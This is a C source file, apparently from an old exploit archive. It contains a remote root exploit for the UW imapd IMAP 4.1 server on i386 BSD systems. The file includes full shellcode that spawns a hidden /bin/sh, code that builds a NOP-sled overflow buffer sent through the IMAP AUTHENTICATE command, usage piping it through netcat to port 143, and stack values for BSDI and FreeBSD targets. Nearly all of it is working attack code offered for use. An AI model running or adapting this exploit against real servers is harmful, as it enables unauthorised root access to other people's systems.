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imap.c
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C/C++ Source or Header
|
2005-02-12
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4KB
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101 lines
/**
*** i386 BSD remote root exploit for UW imapd IMAP 4.1 server
***
*** This is *not* the same bug addressed in CERT Advisory CA-97.09!
***
*** Usage: % (imappy nop esp offset; cat) | nc hostname 143
***
*** where nop is the number of NOP opcodes to place at the start of the
*** exploit buffer (I use 403), esp is the %esp stack pointer value, and
*** offset is the number of bytes to add to esp to calculate your target
*** %eip.
***
*** Demonstration values for UW imapd 10.234 (part of Pine 4.00):
***
*** imappy 403 0xefbfd5e8 100 (BSDI 3.0)
*** imappy 403 0xefbfd4b8 100 (FreeBSD 2.2.5)
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** July 16, 1998
**/
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN (2*1024)
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x34" /* jmp springboard [2000]*/
/* start: [2000]*/
/* 2 */ "\x5e" /* popl %esi [2000]*/
/* 3 */ "\x8d\x1e" /* leal (%esi),%ebx [2000]*/
/* 5 */ "\x89\x5e\x0b" /* movl %ebx,0xb(%esi) [2000]*/
/* 8 */ "\x31\xd2" /* xorl %edx,%edx [2000]*/
/* 10 */ "\x89\x56\x07" /* movl %edx,0x7(%esi) [2000]*/
/* 13 */ "\x89\x56\x0f" /* movl %edx,0xf(%esi) [2000]*/
/* 16 */ "\x89\x56\x14" /* movl %edx,0x14(%esi) [2000]*/
/* 19 */ "\x88\x56\x19" /* movb %dl,0x19(%esi) [2000]*/
/* 22 */ "\x31\xc0" /* xorl %eax,%eax [2000]*/
/* 24 */ "\xb0\x7f" /* movb $0x7f,%al [2000]*/
/* 26 */ "\x20\x46\x01" /* andb %al,0x1(%esi) [2000]*/
/* 29 */ "\x20\x46\x02" /* andb %al,0x2(%esi) [2000]*/
/* 32 */ "\x20\x46\x03" /* andb %al,0x3(%esi) [2000]*/
/* 35 */ "\x20\x46\x05" /* andb %al,0x5(%esi) [2000]*/
/* 38 */ "\x20\x46\x06" /* andb %al,0x6(%esi) [2000]*/
/* 41 */ "\xb0\x3b" /* movb $0x3b,%al [2000]*/
/* 43 */ "\x8d\x4e\x0b" /* leal 0xb(%esi),%ecx [2000]*/
/* 46 */ "\x89\xca" /* movl %ecx,%edx [2000]*/
/* 48 */ "\x52" /* pushl %edx [2000]*/
/* 49 */ "\x51" /* pushl %ecx [2000]*/
/* 50 */ "\x53" /* pushl %ebx [2000]*/
/* 51 */ "\x50" /* pushl %eax [2000]*/
/* 52 */ "\xeb\x18" /* jmp exec [2000]*/
/* springboard: [2000]*/
/* 54 */ "\xe8\xc7\xff\xff\xff" /* call start [2000]*/
/* data: [2000]*/
/* 59 */ "\x2f\xe2\xe9\xee\x2f\xf3\xe8" /* DATA (disguised /bin/sh) */
/* 66 */ "\x01\x01\x01\x01" /* DATA [2000]*/
/* 70 */ "\x02\x02\x02\x02" /* DATA [2000]*/
/* 74 */ "\x03\x03\x03\x03" /* DATA [2000]*/
/* exec: [2000]*/
/* 78 */ "\x9a\x04\x04\x04\x04\x07\x04"; /* lcall 0x7,0x0 [2000]*/
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset;
void
main (int argc, char *argv[])
{
int i;
if (argc < 4)
{
printf("usage: %s nop esp offset\n", argv[0]);
return;
}
nop = strtoul(argv[1], NULL, 0);
esp = strtoul(argv[2], NULL, 0);
offset = strtol(argv[3], NULL, 0);
memset(buf, NOP, BUFLEN);
memcpy(buf+nop, shell, strlen(shell));
for (i = nop+strlen(shell); i < BUFLEN - 4; i += 4)
*((int *) &buf[i]) = esp + offset;
printf("* AUTHENTICATE {%d}\r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
putchar(buf[i]);
printf("\r\n");
return;
}
/* www.hack.co.za [2000]*/